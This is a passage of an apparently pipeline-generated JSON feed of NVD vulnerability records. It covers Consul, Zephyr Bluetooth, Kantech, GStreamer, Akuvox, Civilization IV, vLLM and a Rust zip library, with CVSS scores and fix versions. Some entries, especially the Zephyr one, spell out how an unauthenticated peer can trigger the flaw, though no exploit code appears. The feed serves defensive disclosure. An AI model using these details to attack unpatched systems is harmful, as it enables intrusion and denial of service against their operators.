2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105765","cveId":"CVE-2026-105765","aliases":[],"kind":"vulnerability","title":"HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 are vulnerable to an authorization bypass in the agent's service mesh leaf certificate API that may allow an attacker...","summary":"HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 are vulnerable to an authorization bypass in the agent's service mesh leaf certificate API that may allow an attacker without a valid ACL token to retrieve a cached service leaf certificate and its private key. This vulnerability (CVE-2026-105765) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.","detail":"HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 are vulnerable to an authorization bypass in the agent's service mesh leaf certificate API that may allow an attacker without a valid ACL token to retrieve a cached service leaf certificate and its private key. This vulnerability (CVE-2026-105765) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:28.863Z","updatedAt":"2026-10-26T18:17:28.863Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105765","asOf":"2026-10-26T18:17:28.863Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105765","type":"primary","publishedAt":"2026-10-26T18:17:28.863Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105626","cveId":"CVE-2026-105626","aliases":[],"kind":"vulnerability","title":"HashiCorp Consul and Consul Enterprise are vulnerable to a denial of service in the HTTP API that may allow an unauthenticated attacker to exhaust memory on a Consul agent.","summary":"HashiCorp Consul and Consul Enterprise are vulnerable to a denial of service in the HTTP API that may allow an unauthenticated attacker to exhaust memory on a Consul agent. This vulnerability (CVE-2026-105626) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.","detail":"HashiCorp Consul and Consul Enterprise are vulnerable to a denial of service in the HTTP API that may allow an unauthenticated attacker to exhaust memory on a Consul agent. This vulnerability (CVE-2026-105626) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:27.060Z","updatedAt":"2026-10-26T18:17:27.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105626","asOf":"2026-10-26T18:17:27.060Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105626","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105626","type":"primary","publishedAt":"2026-10-26T18:17:27.060Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105608","cveId":"CVE-2026-105608","aliases":[],"kind":"vulnerability","title":"HashiCorp Consul and Consul Enterprise are vulnerable to an authorization bypass in service mesh proxy registration.","summary":"HashiCorp Consul and Consul Enterprise are vulnerable to an authorization bypass in service mesh proxy registration. This may allow a user with service write permission to apply Envoy escape-hatch configuration without the required mesh write permission. This vulnerability (CVE-2026-105608) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.","detail":"HashiCorp Consul and Consul Enterprise are vulnerable to an authorization bypass in service mesh proxy registration. This may allow a user with service write permission to apply Envoy escape-hatch configuration without the required mesh write permission. This vulnerability (CVE-2026-105608) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:26.910Z","updatedAt":"2026-10-26T18:17:26.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105608","asOf":"2026-10-26T18:17:26.910Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105608","type":"primary","publishedAt":"2026-10-26T18:17:26.910Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81038","cveId":"CVE-2026-81038","aliases":[],"kind":"vulnerability","title":"The Object Transfer Service server builds its Object Action Control Point (OACP) response indication in oacp_ind_send() (subsys/bluetooth/services/ots/ots_oacp.c).","summary":"The Object Transfer Service server builds its Object Action Control Point (OACP) response indication in oacp_ind_send() (subsys/bluetooth/services/ots/ots_oacp.c). Before this fix the four-byte Checksum Value field was appended whenever the requested op code was BT_GATT_OTS_OACP_PROC_CHECKSUM_CALC, regardless of the result code. The response payload is a bare, uninitialized four-byte stack buffer declared with NET_BUF_SIMPLE_DEFINE(resp_param, sizeof(uint32_t)) in bt_gatt_ots_oacp_write(), and it is filled only on the success path of oacp_checksum_proc_validate(). On every failure path the buffer is still empty, so net_buf_simple_pull_le32() was invoked on a zero-length buffer.\n\nThe OACP characteristic and its client characteristic configuration descriptor are declared with BT_GATT_PERM_WRITE and BT_GATT_PERM_READ | BT_GATT_PERM_WRITE, so no pairing, encryption, or authentication is required. Any peer within radio range that can connect to a device running the OTS server can enable OACP indications and write a nine-byte Calculate Checksum command that fails validation — for example by issuing it with no object selected, which returns BT_GATT_OTS_OACP_RES_INV_OBJ. Because oacp_command_decode() accepts the Calculate Checksum op code unconditionally (it is not guarded by CONFIG_BT_OTS_OACP_CHECKSUM_SUPPORT), builds without checksum support are reachable too: they answer BT_GATT_OTS_OACP_RES_OPCODE_NOT_SUP and take the same bad path.\n\nOn builds with CONFIG_ASSERT enabled, the zero-length pull trips the assertion inside net_buf_simple_pull_mem() and panics the device, giving a remotely triggered denial of service. On builds with assertions disabled there is no check: the pull returns the untouched stack array and four bytes of uninitialized stack memory are copied into the indication and transmitted to the peer, repeatable on every request. The disclosure is bounded to four bytes per request and the write stays inside the seven-byte res indication buffer, so there is no memory corruption; the impact is uninitialized-memory disclosure plus an availability loss in assertion-enabled configurations.","detail":"The Object Transfer Service server builds its Object Action Control Point (OACP) response indication in oacp_ind_send() (subsys/bluetooth/services/ots/ots_oacp.c). Before this fix the four-byte Checksum Value field was appended whenever the requested op code was BT_GATT_OTS_OACP_PROC_CHECKSUM_CALC, regardless of the result code. The response payload is a bare, uninitialized four-byte stack buffer declared with NET_BUF_SIMPLE_DEFINE(resp_param, sizeof(uint32_t)) in bt_gatt_ots_oacp_write(), and it is filled only on the success path of oacp_checksum_proc_validate(). On every failure path the buffer is still empty, so net_buf_simple_pull_le32() was invoked on a zero-length buffer.\n\nThe OACP characteristic and its client characteristic configuration descriptor are declared with BT_GATT_PERM_WRITE and BT_GATT_PERM_READ | BT_GATT_PERM_WRITE, so no pairing, encryption, or authentication is required. Any peer within radio range that can connect to a device running the OTS server can enable OACP indications and write a nine-byte Calculate Checksum command that fails validation — for example by issuing it with no object selected, which returns BT_GATT_OTS_OACP_RES_INV_OBJ. Because oacp_command_decode() accepts the Calculate Checksum op code unconditionally (it is not guarded by CONFIG_BT_OTS_OACP_CHECKSUM_SUPPORT), builds without checksum support are reachable too: they answer BT_GATT_OTS_OACP_RES_OPCODE_NOT_SUP and take the same bad path.\n\nOn builds with CONFIG_ASSERT enabled, the zero-length pull trips the assertion inside net_buf_simple_pull_mem() and panics the device, giving a remotely triggered denial of service. On builds with assertions disabled there is no check: the pull returns the untouched stack array and four bytes of uninitialized stack memory are copied into the indication and transmitted to the peer, repeatable on every request. The disclosure is bounded to four bytes per request and the write stays inside the seven-byte res indication buffer, so there is no memory corruption; the impact is uninitialized-memory disclosure plus an availability loss in assertion-enabled configurations.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:30.350Z","updatedAt":"2026-10-26T18:18:45.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-81038","asOf":"2026-10-26T18:18:45.770Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-81038","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81038","type":"primary","publishedAt":"2026-10-26T17:17:30.350Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71456","cveId":"CVE-2026-71456","aliases":[],"kind":"vulnerability","title":"Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack.","summary":"Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack.\n\nThis issue affects Kantech Entrapass: before 9.20.","detail":"Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack.\n\nThis issue affects Kantech Entrapass: before 9.20.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:28.893Z","updatedAt":"2026-10-26T17:17:28.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71456","asOf":"2026-10-26T17:17:28.893Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71456","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71456","type":"primary","publishedAt":"2026-10-26T17:17:28.893Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116612","cveId":"CVE-2026-116612","aliases":[],"kind":"vulnerability","title":"A flaw was found in GStreamer Editing Services (gst-editing-services). A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition.","summary":"A flaw was found in GStreamer Editing Services (gst-editing-services). A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition. When such a file is loaded, either explicitly by an editing application or automatically by a media player or file-manager thumbnailing service that uses GStreamer autoplugging, the pipeline description is parsed and instantiated without restriction on which elements may be used or which properties may be set. A remote attacker who can deliver a crafted project file to a victim's system can trigger reading or writing of arbitrary local files, issue outbound network requests to attacker-controlled servers, or cause the application to crash. Under certain conditions the file-write capability may be leveraged to achieve code execution.","detail":"A flaw was found in GStreamer Editing Services (gst-editing-services). A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition. When such a file is loaded, either explicitly by an editing application or automatically by a media player or file-manager thumbnailing service that uses GStreamer autoplugging, the pipeline description is parsed and instantiated without restriction on which elements may be used or which properties may be set. A remote attacker who can deliver a crafted project file to a victim's system can trigger reading or writing of arbitrary local files, issue outbound network requests to attacker-controlled servers, or cause the application to crash. Under certain conditions the file-write capability may be leveraged to achieve code execution.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:27.530Z","updatedAt":"2026-10-26T18:17:45.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116612","asOf":"2026-10-26T18:17:45.527Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116612","type":"primary","publishedAt":"2026-10-26T17:17:27.530Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116371","cveId":"CVE-2026-116371","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in Akuvox Akubela HyPanel PS51 51.130.40.26. The impacted element is an unknown function of the file /login.","summary":"A weakness has been identified in Akuvox Akubela HyPanel PS51 51.130.40.26. The impacted element is an unknown function of the file /login. Executing a manipulation of the argument engrmode with the input admin can lead to improper authentication. The attack may be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A weakness has been identified in Akuvox Akubela HyPanel PS51 51.130.40.26. The impacted element is an unknown function of the file /login. Executing a manipulation of the argument engrmode with the input admin can lead to improper authentication. The attack may be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:26.117Z","updatedAt":"2026-10-26T17:17:26.117Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116371","asOf":"2026-10-26T17:17:26.117Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116371","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116371","type":"primary","publishedAt":"2026-10-26T17:17:26.117Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116370","cveId":"CVE-2026-116370","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in 2K Games Sid Meier's Civilization IV 1.0.12.68. The affected element is the function loadstring of the component Lua sandbox.","summary":"A security flaw has been discovered in 2K Games Sid Meier's Civilization IV 1.0.12.68. The affected element is the function loadstring of the component Lua sandbox. Performing a manipulation results in type confusion. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.","detail":"A security flaw has been discovered in 2K Games Sid Meier's Civilization IV 1.0.12.68. The affected element is the function loadstring of the component Lua sandbox. Performing a manipulation results in type confusion. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:25.930Z","updatedAt":"2026-10-26T17:17:25.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116370","asOf":"2026-10-26T17:17:25.930Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116370","type":"primary","publishedAt":"2026-10-26T17:17:25.930Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115912","cveId":"CVE-2026-115912","aliases":[],"kind":"vulnerability","title":"vLLM is an inference and serving engine for large language models.","summary":"vLLM is an inference and serving engine for large language models. Prior to 0.32.0, an authenticated caller can place forged shared-memory address and monotonic_id values in public multimodal features.kwargs_data. In scale-out deployments with shared-memory multimodal caching enabled, workers trust those values and pass attacker-selected bytes to pickle.loads(), allowing arbitrary Python execution even when insecure serialization is disabled. This issue is fixed in version 0.32.0.","detail":"vLLM is an inference and serving engine for large language models. Prior to 0.32.0, an authenticated caller can place forged shared-memory address and monotonic_id values in public multimodal features.kwargs_data. In scale-out deployments with shared-memory multimodal caching enabled, workers trust those values and pass attacker-selected bytes to pickle.loads(), allowing arbitrary Python execution even when insecure serialization is disabled. This issue is fixed in version 0.32.0.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:18.910Z","updatedAt":"2026-10-26T17:17:18.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115912","asOf":"2026-10-26T17:17:18.910Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115912","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115912","type":"primary","publishedAt":"2026-10-26T17:17:18.910Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115909","cveId":"CVE-2026-115909","aliases":[],"kind":"vulnerability","title":"zip is a zip library for Rust that supports reading and writing simple ZIP files.","summary":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","detail":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 